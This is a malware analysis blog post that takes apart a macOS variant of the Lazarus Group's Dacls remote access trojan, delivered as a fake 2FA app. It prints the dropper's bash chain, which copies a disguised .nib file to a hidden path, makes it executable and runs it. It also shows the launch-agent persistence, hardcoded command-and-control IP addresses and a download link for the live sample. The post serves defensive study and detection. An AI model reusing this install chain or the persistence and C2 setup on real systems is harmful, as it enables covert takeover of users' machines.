# Objective-See's Blog **objective-see.com/blog/blog_0x57.html** The Dacls RAT ...now on macOS! deconstructing the mac variant of a lazarus group implant. by: Patrick Wardle / May 5, 2020 Our research, tools, and writing, are supported by the "Friends of Objective-See" such as: [CleanMyMac X](https://macpaw.com/cleanmymac) Malwarebytes Airo AV [Become a Friend!](https://objective-see.com/friends.html) 📝 👾 Want to play along? [I’ve added the sample (‘OSX.Dacls’) to our malware collection (password: infect3d)](https://objective-see.com/downloads/malware/Dacls.zip) …please don’t infect yourself! ## Background [Early today, the noted Mac Security researcher Phil Stokes tweeted about a “Suspected](https://twitter.com/philofishal) _#Lazarus backdoor/RAT”:_ 1. 899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53 2. 846d8647d27a0d729df40b13a644f3bffdc95f6d0e600f2195c85628d59f1dc6 [— Phil Stokes �🐠� (@philofishal) May 5, 2020](https://twitter.com/philofishal/status/1257678141801332736?ref_src=twsrc%5Etfw) In his tweet he noted various details about the malware and was kind enough to post hashes [as well. Mahalo Phil (and Thomas Reed, who initially noticed the sample on VirusTotal)! 🙏](https://twitter.com/thomasareed/) [📝 Update: The sample was originally discovered by Hossein Jazi of](https://twitter.com/hadianjazi) [MalwareBytes.](https://www.malwarebytes.com/) [MalwareBytes has now published their detailed analysis:](https://www.malwarebytes.com/) ----- [New Mac variant of Lazarus Dacls RAT distributed via Trojanized 2FA app](https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/) [As noted in his tweet, current detections for both the malware’s disk image and](https://www.virustotal.com/gui/file/899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53/detection) [payload are](https://www.virustotal.com/gui/file/846d8647d27a0d729df40b13a644f3bffdc95f6d0e600f2195c85628d59f1dc6/detection) at 0% (though this is likely to change as AV engines update the signature databases): The Lazarus APT group (North Korea) is arguably to most prevalent (or perhaps just visible) APT group in the macOS space. In fact the majority of my recent macOS malware blogs have been about their creations: [“OSX.Yort”](https://objective-see.com/blog/blog_0x53.html#osx-yort) [“Pass the AppleJeus”](https://objective-see.com/blog/blog_0x49.html) [“Lazarus Group Goes ‘Fileless’”](https://objective-see.com/blog/blog_0x51.html) Though not remarkably sophisticated, they continue to evolve and improve their tradecraft. 📝 For more details on the Lazarus APT group, and their recent advancements, see ["North Korean hackers getting more careful, targeted in financial hacks"](https://www.cyberscoop.com/kaspersky-lazarus-group-north-korean-hackers-targeted-financial/) In this blog post, we deconstruct the their macOS latest creation (a variant of the `Dacls` RAT), highlighting its install logic, persistence mechanism, and capabilities! We’ll also highlights IOCs and generic methods of detection. ----- ## Installation Currently (at least to me), it is unknown how the Lazarus actors remotely infect macOS systems with this specimen ( OSX.Dacls ). However as our analysis will show, the way the malware is packaged closely mimics Lazarus group’s other attacks …which relied on social engineering efforts. Specifically, coercing macOS users to download and run trojanized applications: Thanks to Phil’s tweet and hashes, we can find a copy of the attackers’ Apple Disk Image ( TinkaOTP.dmg ) on [VirusTotal.](https://www.virustotal.com/gui/file/899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53/) To extract the embedded files stored on the `TinkaOTP.dmg we mount it via the` `hdiutil` command: ``` $ hdiutil attach TinkaOTP.dmg /dev/disk3 GUID_partition_scheme /dev/disk3s1 Apple_HFS /Volumes/TinkaOTP ``` …which mounts it to `/Volumes/TinkaOTP .` Listing the files in the `TinkaOTP directory reveals an application ( TinkaOTP.app ) and an` (uninteresting) `.DS_Store file:` ``` $ ls -lart /Volumes/TinkaOTP/ drwxr-xr-x 3 patrick staff 102 Apr 1 16:11 TinkaOTP.app -rw-r--r--@ 1 patrick staff 6148 Apr 1 16:15 .DS_Store ``` Both appear to have a creation timestamp of April 1st. The application, `TinkaOTP.app is signed “adhoc-ly” (as the Lazarus group often does):` ----- ``` $ codesign dvvv /Volumes/TinkaOTP/TinkaOTP.app Executable=/Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP Identifier=com.TinkaOTP Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20100 size=5629 flags=0x2(adhoc) hashes=169+5 location=embedded Hash type=sha256 size=32 CandidateCDHash sha1=8bd4b789e325649bafcc23f70bae0d1b915b67dc CandidateCDHashFull sha1=8bd4b789e325649bafcc23f70bae0d1b915b67dc CandidateCDHash sha256=4f3367208a1a6eebc890d020eeffb9ebf43138f2 CandidateCDHashFull sha256=4f3367208a1a6eebc890d020eeffb9ebf43138f298580293df2851eb0c6be1aa Hash choices=sha1,sha256 CMSDigest=08dd7e9fb1551c8d893fac2193d8c4969a9bc08d4b7b79c4870263abaae8917d CMSDigestType=2 CDHash=4f3367208a1a6eebc890d020eeffb9ebf43138f2 Signature=adhoc Info.plist entries=24 TeamIdentifier=not set Sealed Resources version=2 rules=13 files=15 Internal requirements count=0 size=12 ``` This also means that on modern versions of macOS (unless some exploit is first used to gain code execution on the target system), the application will not (easily) run: 📝 Jumping a bit ahead of ourselves, a report on the Windows/Linux version of this malware noted that it was uncovered along with a "working payload for Confluence CVE-2019-3396" and that researchers, "speculated that the Lazarus Group used the CVE-2019-3396 N-day vulnerability to spread the Dacls Bot program." …so, it is conceivable that macOS users were targeted by this (or similar) exploits. Source: [Dacls, the Dual platform RAT.](https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/) ``` TinkaOTP.app is a standard macOS application: ``` ----- Examining its `Info.plist file, illustrates that application’s binary (as specified in the` ``` CFBundleExecutable key), is (unsurprisingly) named TinkaOTP : $ defaults read /Volumes/TinkaOTP/TinkaOTP.app/Contents/Info.plist { BuildMachineOSBuild = 19E266; CFBundleDevelopmentRegion = en; CFBundleExecutable = TinkaOTP; CFBundleIconFile = AppIcon; CFBundleIconName = AppIcon; CFBundleIdentifier = "com.TinkaOTP"; CFBundleInfoDictionaryVersion = "6.0"; CFBundleName = TinkaOTP; CFBundlePackageType = APPL; CFBundleShortVersionString = "1.2.1"; CFBundleSupportedPlatforms = ( MacOSX ); CFBundleVersion = 1; DTCompiler = "com.apple.compilers.llvm.clang.1_0"; DTPlatformBuild = 11B52; DTPlatformVersion = GM; DTSDKBuild = 19B81; DTSDKName = "macosx10.15"; DTXcode = 1120; DTXcodeBuild = 11B52; LSMinimumSystemVersion = "10.10"; LSUIElement = 1; NSHumanReadableCopyright = "Copyright \\U00a9 2020 TinkaOTP. All rights reserved."; NSMainNibFile = MainMenu; NSPrincipalClass = NSApplication; } ``` ----- As the value for the `LSMinimumSystemVersion key is set to` `10.10` the malicious application will execute on macOS systems all the way back to `OS X Yosemite .` Now, let’s take a closer look at the `TinkaOTP binary (which will be executed if the user` (successfully) launches the application). As expected, it’s a 64-bit Mach-O binary: ``` $ file TinkaOTP.app/Contents/MacOS/TinkaOTP TinkaOTP.app/Contents/MacOS/TinkaOTP: Mach-O 64-bit executable x86_64 ``` Before hopping into a disassembler or debugger, I like to just run the malware is a virtual machine (VM), and observe its actions via process, file, and network. This can often shed valuable insight into the malware actions and capabilities, which in turn can guide further analysis focus. 📝 I've written several monitor tools to facilitate such analysis: [ProcessMonitor](https://objective-see.com/products/utilities.html#ProcessMonitor) [FileMonitor](https://objective-see.com/products/utilities.html#FileMonitor) [Netiquette](https://objective-see.com/products/netiquette.html) Firing up these analysis tools, and running `TinkaOTP.app quickly reveals its installation` [logic. Specifically the ProcessMonitor records the following:](https://objective-see.com/products/utilities.html#ProcessMonitor) ----- ``` # ProcessMonitor.app/Contents/MacOS/ProcessMonitor pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "signing info (computed)" : { "signatureID" : "com.apple.cp", "signatureStatus" : 0, "signatureSigner" : "Apple", "signatureAuthorities" : [ "Software Signing", "Apple Code Signing Certification Authority", "Apple Root CA" ] }, "uid" : 501, "arguments" : [ "cp", "/Volumes/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib", "/Users/user/Library/.mina" ], "ppid" : 863, "ancestors" : [ 863 ], "path" : "/bin/cp", "signing info (reported)" : { "teamID" : "(null)", "csFlags" : 603996161, "signingID" : "com.apple.cp", "platformBinary" : 1, "cdHash" : "D2E8BBC6DB07E2C468674F829A3991D72AA196FD" }, "pid" : 864 }, "timestamp" : "2020-05-06 00:16:52 +0000" } ``` This output shows `bash being spawned by` `TinkaOTP.app with the following arguments:` ``` cp /Volumes/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib /Users/user/Library/.mina ``` …in other words, the malware is copying the `Base.lproj/SubMenu.nib file (from the` application’s `Resources directory) to the user’s` `Library directory (as the “hidden” file:` ``` .mina ). ``` The process monitor then shows `TinkaOTP.app setting the executable bit on the` `.mina` file (via `chmod +x /Users/user/Library/.mina ), before executing it:` ----- ``` # ProcessMonitor.app/Contents/MacOS/ProcessMonitor pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "signing info (computed)" : { "signatureStatus" : -67062 }, "uid" : 501, "arguments" : [ "/Users/user/Library/.mina" ], "ppid" : 863, "ancestors" : [ 863 ], "path" : "/Users/user/Library/.mina", "signing info (reported)" : { "teamID" : "(null)", "csFlags" : 0, "signingID" : "(null)", "platformBinary" : 0, "cdHash" : "0000000000000000000000000000000000000000" }, "pid" : 866 }, "timestamp" : "2020-05-06 00:16:53 +0000" } ``` A partial sequence of these commands is hardcoded directly in the `TinkaOTP.app ’s binary:` [Hopping into a disassembler (I use Hopper), we can track down code (invoked via the](https://www.hopperapp.com/) ``` applicationDidFinishLaunching method), responsible for executing said command: 1;TinkaOTP.AppDelegate.applicationDidFinishLaunching(Foundation.Notification) 2 3r13 = *direct field offset for TinkaOTP.AppDelegate.btask : __C.NSTask; 4rdx = __C.NSString(0x7361622f6e69622f, 0xe900000000000068); 5 6... 7 8[r15 setLaunchPath:rdx]; 9 10... 11 12[r15 setArguments:...]; 13 14[*(var_30 + var_68) launch]; ``` ----- The decompilation is rather ugly (as `TinkaOTP.app is written in Swift), but in short the` malware is invoking the installation commands ( cp ... ) via Apple’s `NSTask API.` We can confirm this via a debugger ( lldb ), by setting a breakpoint on the call to `[NSTask` ``` launch] (at address 0x10001e30b ) and querying the NSTask object to view its launch ``` path, and arguments: ``` (lldb) b 0x000000010001e30b Breakpoint 6: where = TinkaOTP`TinkaOTP.AppDelegate.applicationDidFinishLaunching (lldb) c Process 899 resuming Process 899 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1 (lldb) po $rdi (lldb) po [$rdi arguments] ( -c, cp /Volumes/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1 ) (lldb) po [$rdi launchPath] /bin/bash ## Persistence ``` We now turn our attention to `SubMenu.nib, which was installed as` `~/Library/.mina .` It’s a standard Mach-O executable: ``` $ file TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib: Mach-O 64-bit executable x86_64 ``` As there turned out to be a bug in the code (ha!), we’re going to start our analysis in the disassembler at the malware’s `main function. First we noted a (basic) anti-` disassembly/obfuscation technique, where strings are dynamically built manually (via hex constants): ----- In Hopper, via `Shift+R we can covert the hex to ascii:` …which reveals a path: `/Library/LaunchAgents/com.aex.lop.agent.plist` However, the malware author(s) also left this string directly embedded in the binary: ----- Within the disassembly of the `main function, we also find an embedded property list:` Seems reasonable to assume that the malware will persist itself as a launch agent. And in fact, it tries to! However, if the `~/Library/LaunchAgent directory does not exists (which it` does not on default install of macOS), the persistence will fail. Specifically, the malware invokes the `fopen function (with the` `+w option) on` ``` /Library/LaunchAgents/com.aex.lop.agent.plist …which will error out if any ``` directories in the path don’t exist. This can be confirmed in a debugger: ----- ``` $ lldb /Library/.mina //break at the call to fopen() (lldb) 0x10000b6e8 (lldb) c Process 920 stopped .mina`main: -> 0x10000b6e8 : callq 0x100078f66 ; symbol stub for: fopen 0x10000b6ed : testq %rax, %rax 0x10000b6f0 : je 0x10000b711 ; 0x10000b6f2 : movq %rax, %rbx Target 0: (.mina) stopped. //print arg_0 // this is the path (lldb) x/s $rdi 0x7ffeefbff870: "/Users/user/Library/LaunchAgents/com.aex-loop.agent.plist" //step over call (lldb) ni //fopen() fails (lldb) reg read $rax rax = 0x0000000000000000 ``` …I guess writing malware can be tough! :P If we manually create the `~/Library/LaunchAgent directory, the call to` `fopen succeeds` and the malware will happily persist. Specifically, it formats the embedded property list (dynamically adding in the path to itself), which is then written out to `com.aex-` ``` loop.agent.plist : ``` ----- ``` $ lldb /Library/.mina (lldb) 0x100078f72 (lldb) c Process 930 stopped .mina`main: -> 0x10000b704 : callq 0x100078f72 ; symbol stub for: fprintf 0x10000b709 : movq %rbx, %rdi 0x10000b70c : callq 0x100078f4e ; symbol stub for: fclose 0x10000b711 : movq %r12, %rdi Target 0: (.mina) stopped. //print arg_1 // this is the format string (lldb) x/s $rsi 0x10007da69: "\r\n\r\n\r\n\r\n\tLabel\r\n\tcom.aexloop.agent\r\n\tProgramArguments\r\n\t\r\n\t\t%s> 0x20) 10 + sign_extend_32(rax), 0x17)) + ((sign_extend_32(rax) * 0xffffffff80000081 >> 0x20) 11 + sign_extend_32(rax) >> 0x1f) - ((SAR((sign_extend_32(rax) * 0xffffffff80000081 >> 0x20) 12 + sign_extend_32(rax), 0x17)) + ((sign_extend_32(rax) * 0xffffffff80000081 >> 0x20) 13 + sign_extend_32(rax) >> 0x1f) << 0x18)) + sign_extend_32(rax); 14 15 *0x10009c3c8 = 0x1343b8400030100; 16 *(int32_t *)dword_10009c42c = 0x3; 17 18 mata_wcscpy(0x10009c430, u"67.43.239.146:443"); 19 mata_wcscpy(0x10009cc30, u"185.62.58.207:443"); 20 mata_wcscpy(0x10009d430, u"185.62.58.207:443"); 21 *(int32_t *)0x10009c3d0 = 0x2; 22 rax = SaveConfig(_g_mConfig); 23 24 } 25 else { 26 rax = 0x0; 27 } 28 return rax; 29} ``` After seeding the random number generator, the malware invokes a function named ``` LoadConfig . In short, the LoadConfig function attempts to load a configuration file from /Library/Caches/com.apple.appstore.db . If found, it decrypts the configuration via a ``` call to the `AES_CBC_decrypt_buffer function. If the configuration is not found, it returns a` non-zero error. Looking at the code in `InitializeConfiguration we can see that if` `LoadConfig fails` (i.e. no configuration file is found), code within `InitializeConfiguration will generate a` default configuration, which is then saved via a call to the `SaveConfig function.` We can see three IP addresses (two unique) that are part of the default configuration: ``` 67.43.239.146 and 185.62.58.207 . These as the default command & control servers. ``` [Returning to the Netlab report, it states:](https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/) ----- _The Linux.Dacls Bot configuration file is stored at $HOME/.memcache, and the file_ _content is 0x8E20 + 4 bytes. If Bot cannot find the configuration file after startup, it will_ _use AES encryption to generate the default configuration file based on the hard-coded_ _information in the sample. After successful Bot communicates with C2, the_ _configuration file will get updated.”_ It appears the macOS variant of `Dacls contains this same logic (albiet the config file is` stored in `/Library/Caches/com.apple.appstore.db ).` The Netlab researchers also breakdown the format of the configuration file (image credit: Netlab): Does our macOS variant conform to this format? Yes it appears so: ----- ``` (lldb) x/i $pc -> 0x100004c4c: callq 0x100004e20 ; SaveConfig(tagMATA_CONFIG*) (lldb) x/192xb $rdi 0x10009c3c4: 0xcc 0x37 0x86 0x00 0x00 0x01 0x03 0x00 0x10009c3cc: 0x84 0x3b 0x34 0x01 0x02 0x00 0x00 0x00 0x10009c3d4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c3dc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c3e4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c3ec: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c3f4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c3fc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c404: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c40c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c414: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c41c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c424: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c42c: 0x03 0x00 0x00 0x00 0x36 0x00 0x37 0x00 0x10009c434: 0x2e 0x00 0x34 0x00 0x33 0x00 0x2e 0x00 0x10009c43c: 0x32 0x00 0x33 0x00 0x39 0x00 0x2e 0x00 0x10009c444: 0x31 0x00 0x34 0x00 0x36 0x00 0x3a 0x00 0x10009c44c: 0x34 0x00 0x34 0x00 0x33 0x00 0x00 0x00 0x10009c454: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c45c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c464: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c46c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c474: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10009c47c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ``` This means we can also extract the (build?) date from the default configuration (offset 0x8): ``` 0x84 0x3b 0x34 0x01 …which converts to 0x01343b84 -> 20200324d (March 24th, ``` 2020). The Netlab [report also highlights the fact that](https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/) `Dacls utilizes a modular plugin architecture:` “[Dacls] uses static compilation to compile the plug-in and Bot code together. By _sending different instructions to call different plug-ins, various tasks can be completed.”_ …the report describes various plugins such as a file plugin, a process plugin, a test plugin, a “reverse P2P” plugin, and a “LogSend” plugin. The macOS variant of `Dacls supports these` plugins (and perhaps an addition one or two, i.e. SOCKS): ----- At this point, we can readily conclude that the specimen we’re analyzing is clearly a macOS variant of the `Dacls implant. Preliminary analysis and similarity to the Linux variant` indicates this affords remote attackers the ability to fully control an infected system, and the implant supports the ability to: execute system commands upload/download, read/write, delete files listing, creating, terminating processes network scanning “The main functions of …Dacls Bot include: command execution, file management, _process management, test network access, C2 connection agent, network scanning_ _module.” -Netlab_ ## Detection Though `OSX.Dacls is rather feature complete, it is trivial to detect via behavior-based tools` …such as the [free ones, created by yours truly!](https://objective-see.com/products.html) [For example, BlockBlock readily detects the malware’s launch item persistence:](https://objective-see.com/products/blockblock.html) ----- [While LuLu detects the malware’s unauthorized network communications to the attackers’](https://objective-see.com/products/lulu.html) remote command & control server: Finally, [KnockKnock can generically detect if a macOS system is infected with](https://objective-see.com/products/knockknock.html) `OSX.Dacls,` by detecting it’s launch item persistence: ----- To manually detect `OSX.Dacls look for the presence of the following files:` ``` ~/Library/LaunchAgents/com.aex.lop.agent.plist /Library/LaunchDaemons/com.aex.lop.agent.plist /Library/Caches/com.apple.appstore.db ~/Library/.mina ``` If you system is infected, as the malware provide complete command and control over an infected system, best to assume your 100% owned, and fully reinstall macOS! ## Conclusion Today, we analyzed the macOS variant of `OSX.Dacls, highlighting its installation logic,` persistence mechanisms, and capabilities (noting the clear similarities to its Linux-version). Though it can be somewhat worrisome to see APT groups developing and evolving their [macOS capabilities, our free security tools can help thwart these threats …even with no a](https://objective-see.com/products.html) priori knowledge! 🛠 😇 ❤ Love these blog posts and/or want to support my research and tools? [You can support them via my Patreon page!](https://www.patreon.com/bePatron?c=701171) This website uses cookies to improve your experience. -----